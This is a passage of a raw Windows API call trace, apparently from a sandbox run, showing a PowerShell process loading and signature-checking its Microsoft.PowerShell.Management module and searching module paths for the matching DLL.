returned 0x9e9 [0205.048] ReadFile (in: hFile=0x3a4, lpBuffer=0x2584791, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x5a2eb04, lpOverlapped=0x0 | out: lpBuffer=0x2584791*, lpNumberOfBytesRead=0x5a2eb04*=0x0, lpOverlapped=0x0) returned 1 [0205.048] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ead8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ead8*=0) returned 0x9e9 [0205.048] ReadFile (in: hFile=0x3a4, lpBuffer=0x2585208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eb04, lpOverlapped=0x0 | out: lpBuffer=0x2585208*, lpNumberOfBytesRead=0x5a2eb04*=0x0, lpOverlapped=0x0) returned 1 [0205.048] CloseHandle (hObject=0x3a4) returned 1 [0205.053] CoCreateGuid (in: pguid=0x5a2ec04 | out: pguid=0x5a2ec04*(Data1=0xc235f256, Data2=0x2bc6, Data3=0x4bbd, Data4=([0]=0x91, [1]=0x9d, [2]=0x42, [3]=0x77, [4]=0xed, [5]=0xeb, [6]=0xdb, [7]=0x9b))) returned 0x0 [0205.054] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a4 [0205.054] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x41c [0205.054] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x420 [0205.054] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x318 [0205.054] SetEvent (hEvent=0x318) returned 1 [0205.055] SetEvent (hEvent=0x3a4) returned 1 [0205.055] SetEvent (hEvent=0x41c) returned 1 [0205.055] SetEvent (hEvent=0x420) returned 1 [0205.055] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x45c [0205.055] SetThreadUILanguage (LangId=0x0) returned 0x409 [0205.057] EtwEventActivityIdControl () returned 0x0 [0205.057] EtwEventActivityIdControl () returned 0x0 [0205.057] EtwEventActivityIdControl () returned 0x0 [0205.071] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0205.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e430) returned 1 [0205.073] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6f4 | out: lpFileInformation=0x5a2e6f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0205.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e42c) returned 1 [0205.073] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0205.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.074] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e338, Length=0x20, ResultLength=0x5a2e3a8 | out: SystemInformation=0x5a2e338, ResultLength=0x5a2e3a8*=0x0) returned 0xc0000003 [0205.074] GetSystemInfo (in: lpSystemInfo=0x5a2e3b4 | out: lpSystemInfo=0x5a2e3b4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0205.075] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e344 | out: phkResult=0x5a2e344*=0x460) returned 0x0 [0205.075] RegQueryValueExW (in: hKey=0x460, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e360, lpData=0x0, lpcbData=0x5a2e35c*=0x0 | out: lpType=0x5a2e360*=0x0, lpData=0x0, lpcbData=0x5a2e35c*=0x0) returned 0x2 [0205.076] RegCloseKey (hKey=0x460) returned 0x0 [0205.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2bc) returned 1 [0205.077] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460 [0205.077] GetFileType (hFile=0x460) returned 0x1 [0205.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e2b8) returned 1 [0205.077] GetFileType (hFile=0x460) returned 0x1 [0205.154] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e2f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e2f8*=0) returned 0x0 [0205.155] ReadFile (in: hFile=0x460, lpBuffer=0x25a2564, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e324, lpOverlapped=0x0 | out: lpBuffer=0x25a2564*, lpNumberOfBytesRead=0x5a2e324*=0x9e9, lpOverlapped=0x0) returned 1 [0205.155] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e2f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e2f8*=0) returned 0x9e9 [0205.155] ReadFile (in: hFile=0x460, lpBuffer=0x25a1ae1, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x5a2e324, lpOverlapped=0x0 | out: lpBuffer=0x25a1ae1*, lpNumberOfBytesRead=0x5a2e324*=0x0, lpOverlapped=0x0) returned 1 [0205.155] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e2f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e2f8*=0) returned 0x9e9 [0205.156] ReadFile (in: hFile=0x460, lpBuffer=0x25a2564, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e324, lpOverlapped=0x0 | out: lpBuffer=0x25a2564*, lpNumberOfBytesRead=0x5a2e324*=0x0, lpOverlapped=0x0) returned 1 [0205.156] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e28c, Length=0x20, ResultLength=0x5a2e2fc | out: SystemInformation=0x5a2e28c, ResultLength=0x5a2e2fc*=0x0) returned 0xc0000003 [0205.156] GetSystemInfo (in: lpSystemInfo=0x5a2e308 | out: lpSystemInfo=0x5a2e308*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0205.157] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e298 | out: phkResult=0x5a2e298*=0x464) returned 0x0 [0205.157] RegQueryValueExW (in: hKey=0x464, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e2b4, lpData=0x0, lpcbData=0x5a2e2b0*=0x0 | out: lpType=0x5a2e2b4*=0x0, lpData=0x0, lpcbData=0x5a2e2b0*=0x0) returned 0x2 [0205.157] RegCloseKey (hKey=0x464) returned 0x0 [0205.157] CloseHandle (hObject=0x460) returned 1 [0205.159] CoCreateGuid (in: pguid=0x5a2e388 | out: pguid=0x5a2e388*(Data1=0x214f43fc, Data2=0x91b8, Data3=0x4b15, Data4=([0]=0x8f, [1]=0xd4, [2]=0x90, [3]=0x9d, [4]=0xa5, [5]=0x71, [6]=0x18, [7]=0x56))) returned 0x0 [0205.159] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e0e8 | out: lpPerformanceCount=0x5a2e0e8*=1263618191980) returned 1 [0205.159] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.159] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ddd4) returned 1 [0205.159] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e098 | out: lpFileInformation=0x5a2e098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0205.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ddd0) returned 1 [0205.159] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.160] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.160] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.160] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dd68) returned 1 [0205.160] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e02c | out: lpFileInformation=0x5a2e02c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0205.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2dd64) returned 1 [0205.160] CoTaskMemAlloc (cb=0x10) returned 0x460ef0 [0205.160] CoTaskMemAlloc (cb=0x10) returned 0x460f08 [0205.160] CoTaskMemAlloc (cb=0xf0) returned 0x39f4e0 [0205.160] CoTaskMemAlloc (cb=0x30) returned 0x4354c8 [0205.160] WinVerifyTrust () returned 0x800b0100 [0205.308] CoTaskMemFree (pv=0x460ef0) [0205.308] CoTaskMemFree (pv=0x4354c8) [0205.308] CryptCATHandleFromStore () returned 0x3ba608 [0205.308] WTHelperGetProvSignerFromChain () returned 0x0 [0205.308] CoTaskMemAlloc (cb=0x10) returned 0x460ef0 [0205.308] CoTaskMemAlloc (cb=0x30) returned 0x4354c8 [0205.309] WinVerifyTrust () returned 0x0 [0205.309] CoTaskMemFree (pv=0x4354c8) [0205.309] CoTaskMemFree (pv=0x460ef0) [0205.309] CoTaskMemFree (pv=0x39f4e0) [0205.309] CoTaskMemFree (pv=0x460f08) [0205.313] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0205.313] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0205.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0205.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0205.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0205.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0205.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d824) returned 1 [0205.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2dae8 | out: lpFileInformation=0x5a2dae8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d820) returned 1 [0205.321] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.322] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.322] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2d748, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0205.325] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0205.325] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0205.325] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0205.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d62c) returned 1 [0205.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d8f0 | out: lpFileInformation=0x5a2d8f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d628) returned 1 [0205.329] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.332] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0205.341] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0205.343] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0205.343] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0205.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d62c) returned 1 [0205.343] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d8f0 | out: lpFileInformation=0x5a2d8f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d628) returned 1 [0205.472] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0205.475] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0205.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0205.476] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0205.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d62c) returned 1 [0205.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2d8f0 | out: lpFileInformation=0x5a2d8f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0205.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d628) returned 1 [0205.481] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0207.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0207.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0207.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0207.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x469910, lpFilePart=0x0 | out: 